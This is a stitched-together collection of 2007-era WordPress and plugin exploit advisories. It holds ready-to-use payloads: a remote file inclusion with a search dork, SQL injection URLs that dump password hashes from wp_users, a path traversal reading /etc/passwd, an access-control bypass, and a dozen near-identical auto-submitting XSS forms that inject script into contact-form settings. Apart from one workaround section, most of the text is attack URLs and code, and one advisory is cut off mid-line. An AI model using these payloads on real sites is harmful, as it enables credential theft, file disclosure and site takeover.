#Author: S.W.A.T.


#cont@ct: svvateam@yahoo.com

--------------------------------------------------------------------------------


------------------------- -------------------------------------------------------

Application :  BackUpWordPress 0.4.2b

Download    :  http://wordpress.designpraxis.at/download/backupwordpress.zip

--------------------------------------------------------------------------------
Vuln :

require_once $GLOBALS['bkpwp_plugin_path']."PEAR.php";

--------------------------------------------------------------------------------

Exploit:

http://[target]/_path]/plugins/BackUp/Archive.php?bkpwp_plugin_path=Shl3?

http://[target]/_path]/plugins/BackUp/Archive/Predicate.php?bkpwp_plugin_path=Shl3?

http://[target]/_path]/plugins/BackUp/Archive/Writer.php?bkpwp_plugin_path=Shl3?

http://[target]/_path]/plugins/BackUp/Archive/Reader.php?bkpwp_plugin_path=Shl3?

& other Files & Folders In The [Archive] Folder

--------------------------------------------------------------------------------

Dork:

"inurl:/plugins/BackUp"

Author : Beenu Arora

Mail : beenudel1986 (at) gmail (dot) com [email concealed]

Application : WordPress (2.3.1)

Homepage: http://wordpress.org/

~~~~~~~~~~~~~~~~~~SQL Injection ~~~~~~~~~~~~

Vulnerable URL : http://localhost/path_to_wordpress/?feed=rss2&p=

Parameter : P

POC = http://localhost/path_to_wordpress/?feed=rss2&p=11/**/union/**/select/**
/concat(user_password,char(100),username),2/**/from/**/wp_users/**/where
/**/user_id=1/*

http://www.securityfocus.com/archive/1/484608

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=== WordPress Charset SQL Injection Vulnerability ===

Release date: 2007-12-10
Last modified: 2007-12-10
Source: Abel Cheung
Affected version: WordPress escape($gpc);
}


  Finally, escape() method belongs to wp-includes/wp-db.php:

function escape($string) {
  return addslashes( $string ); // Disable rest for now, causing problems
  ......
}


3. Proof of concept

  a. After WordPress installation, modify wp-config.php to make sure
     it uses certain character set for database connection (Big5 can
also be used):
     define('DB_CHARSET', 'GBK');

  b. http://localhost/wordpress/index.php?exact=1&sentence=1&s=%b3%27)))/**/AND/**/ID=-1/**/UNION/**/SELECT/**/1,2,3,4,5,user_pass,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24/**/FROM/**/wp_users%23


4. Workaround

  Note: This vulnerability only exists for database queries performed
  using certain character sets. For databases created in most other
  character sets no remedy is needed.

  a. It is recommended to convert WordPress database to use character sets not
     vulnerable to such SQL exploit. One such charset is UTF-8, which does not
     use backslash ('\') as part of character and it supports various languages.
  b. Alternatively, edit WordPress theme to remove search capability.


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By Michael Brooks

Vulnerability:Broken Access Control

Homepage:http://wordpress.org/download

Software: Wordpress

Version affected:2.3.1 (Latest at the time of writing)



The impact of the flaw is that an attacker can read posts while they are still drafts. This is an ability that only the administrator should have. Imagine a stranger being able to read the news before it is published. Or perhaps a spam-blog harvesting posts before they are published.



This flaw is because Wordpress is trusting the $_SERVER['REQUEST_URI'] global variable. Manipulation of $_SERVER['REQUEST_URI']has led to many xss flaws. Although an attacher shouldn't be able to control all $_SERVER variables, none of them should be trusted.



exploit:

htttp://localhost/wordpress/'wp-admin/


This will cause both $_SERVER['REQUEST_URI'] and $_SERVER['PHP_SELF'] to contain the value:
htttp://localhost/wordpress/'wp-admin/


Vulnerable function:

line 34, in ./wp-includes/query.php.

function is_admin () {

global $wp_query;



return ($wp_query->is_admin || (stripos($_SERVER['REQUEST_URI'], 'wp-admin/') !== false));

}

The same flaw is duplicted in again on line 645 of the same file.



This url: htttp://localhost/wordpress/'wp-admin/
will cause the is_admin() function to return true. This flaw works regardless of register_globas or magic_quotes_gpc. The attack fails when search engine friendly urls are turned on in wordpress, however this option is turned off by default. Turning search engine friendly urls on is a workaround until a patch is created.

Wordpress Plugin PictPress <= release0.91 Remote File Disclosure Vulnerability
D.Script : http://downloads.wordpress.org/plugin/pictpress.release-0.91.zip
Vuln Code :
In Line 5,6,7,8 :
    $path = $_GET['path'];
    $size = $_GET['size'];
    $base = dirname(__FILE__) . "/..";
    $cache = "$base/cache/$size/$path";
In Line 22 :
    readfile($cache);
POC :
    /wp-content/plugins/pictpress/resize.php?size=../../../../../../../../../../&path=/etc/passwd%00

# milw0rm.com [2007-12-05]

<html>
<head>
<title>MoBiC-29 Bonus: XSS in WP-ContactForm exploit (C) 2007 MustLive. http://websecurity.com.ua</title>
</head>
<!-- <body onLoad="document.hack.submit()"> -->
<body>
<form name="hack" action="http://site/wp-admin/admin.php?page=wp-contact-form/options-contactform.php" method="post">
<input type="hidden" name="stage" value="process" />
<input type="hidden" name="wpcf_email" value='"><script>alert(document.cookie)</script>' />
</form>
</body>
</html>

<html>
<head>
<title>MoBiC-29 Bonus: XSS in WP-ContactForm exploit (C) 2007 MustLive. http://websecurity.com.ua</title>
</head>
<!-- <body onLoad="document.hack.submit()"> -->
<body>
<form name="hack" action="http://site/wp-admin/admin.php?page=wp-contact-form/options-contactform.php" method="post">
<input type="hidden" name="stage" value="process" />
<input type="hidden" name="wpcf_subject" value='"><script>alert(document.cookie)</script>' />
</form>
</body>
</html>

<html>
<head>
<title>MoBiC-29 Bonus: XSS in WP-ContactForm exploit (C) 2007 MustLive. http://websecurity.com.ua</title>
</head>
<!-- <body onLoad="document.hack.submit()"> -->
<body>
<form name="hack" action="http://site/wp-admin/admin.php?page=wp-contact-form/options-contactform.php" method="post">
<input type="hidden" name="stage" value="process" />
<input type="hidden" name="wpcf_question" value='"><script>alert(document.cookie)</script>' />
</form>
</body>
</html>

<html>
<head>
<title>MoBiC-29 Bonus: XSS in WP-ContactForm exploit (C) 2007 MustLive. http://websecurity.com.ua</title>
</head>
<!-- <body onLoad="document.hack.submit()"> -->
<body>
<form name="hack" action="http://site/wp-admin/admin.php?page=wp-contact-form/options-contactform.php" method="post">
<input type="hidden" name="stage" value="process" />
<input type="hidden" name="wpcf_answer" value='"><script>alert(document.cookie)</script>' />
</form>
</body>
</html>

<html>
<head>
<title>MoBiC-29 Bonus: XSS in WP-ContactForm exploit (C) 2007 MustLive. http://websecurity.com.ua</title>
</head>
<!-- <body onLoad="document.hack.submit()"> -->
<body>
<form name="hack" action="http://site/wp-admin/admin.php?page=wp-contact-form/options-contactform.php" method="post">
<input type="hidden" name="stage" value="process" />
<input type="hidden" name="wpcf_question" value="<script>alert(document.cookie)</script>" />
</form>
</body>
</html>

<html>
<head>
<title>MoBiC-29 Bonus: XSS in WP-ContactForm exploit (C) 2007 MustLive. http://websecurity.com.ua</title>
</head>
<body>
<iframe src="http://site/contact/" width="0" height="0"></iframe>
</form>
</body>
</html>

<html>
<head>
<title>MoBiC-29 Bonus: XSS in WP-ContactForm exploit (C) 2007 MustLive. http://websecurity.com.ua</title>
</head>
<!-- <body onLoad="document.hack.submit()"> -->
<body>
<form name="hack" action="http://site/wp-admin/admin.php?page=wp-contact-form/options-contactform.php" method="post">
<input type="hidden" name="stage" value="process" />
<input type="hidden" name="wpcf_success_msg" value="</textarea><script>alert(document.cookie)</script>" />
</form>
</body>
</html>

<html>
<head>
<title>MoBiC-29 Bonus: XSS in WP-ContactForm exploit (C) 2007 MustLive. http://websecurity.com.ua</title>
</head>
<!-- <body onLoad="document.hack.submit()"> -->
<body>
<form name="hack" action="http://site/wp-admin/admin.php?page=wp-contact-form/options-contactform.php" method="post">
<input type="hidden" name="stage" value="process" />
<input type="hidden" name="wpcf_error_msg" value="</textarea><script>alert(document.cookie)</script>" />
</form>
</body>
</html>

<html>
<head>
<title>MoBiC-29 Bonus: XSS in WP-ContactForm exploit (C) 2007 MustLive. http://websecurity.com.ua</title>
</head>
<!-- <body onLoad="document.hack.submit()"> -->
<body>
<form name="hack" action="http://site/wp-admin/admin.php?page=wp-contact-form/options-contactform.php" method="post">
<input type="hidden" name="stage" value="process" />
<input type="hidden" name="wpcf_answer" value="4" />
<input type="hidden" name="wpcf_success_msg" value="<script>alert(document.cookie)</script>" />
</form>
</body>
</html>

<html>
<head>
<title>MoBiC-29 Bonus: XSS in WP-ContactForm exploit (C) 2007 MustLive. http://websecurity.com.ua</title>
</head>
<!-- <body onLoad="document.hack.submit()"> -->
<body>
<form name="hack" action="http://site/contact/" method="post">
<input type="hidden" name="wpcf_stage" value="process" />
<input type="hidden" name="wpcf_your_name" value="test" />
<input type="hidden" name="wpcf_email" value="test@test.test" />
<input type="hidden" name="wpcf_response" value="4" />
<input type="hidden" name="wpcf_msg" value="XSS" />
</form>
</form>
</body>
</html>

<html>
<head>
<title>MoBiC-29 Bonus: XSS in WP-ContactForm exploit (C) 2007 MustLive. http://websecurity.com.ua</title>
</head>
<!-- <body onLoad="document.hack.submit()"> -->
<body>
<form name="hack" action="http://site/wp-admin/admin.php?page=wp-contact-form/options-contactform.php" method="post">
<input type="hidden" name="stage" value="process" />
<input type="hidden" name="wpcf_error_msg" value="<script>alert(document.cookie)</script>" />
</form>
</body>
</html>

<html>
<head>
<title>MoBiC-29 Bonus: XSS in WP-ContactForm exploit (C) 2007 MustLive. http://websecurity.com.ua</title>
</head>
<!-- <body onLoad="document.hack.submit()"> -->
<body>
<form name="hack" action="http://site/contact/" method="post">
<input type="hidden" name="wpcf_stage" value="process" />
<input type="hidden" name="wpcf_msg" value="XSS" />
</form>
</form>
</body>
</html>

Proof of concept:
http://site/wp-admin/index.php?page=\..\..\.htaccess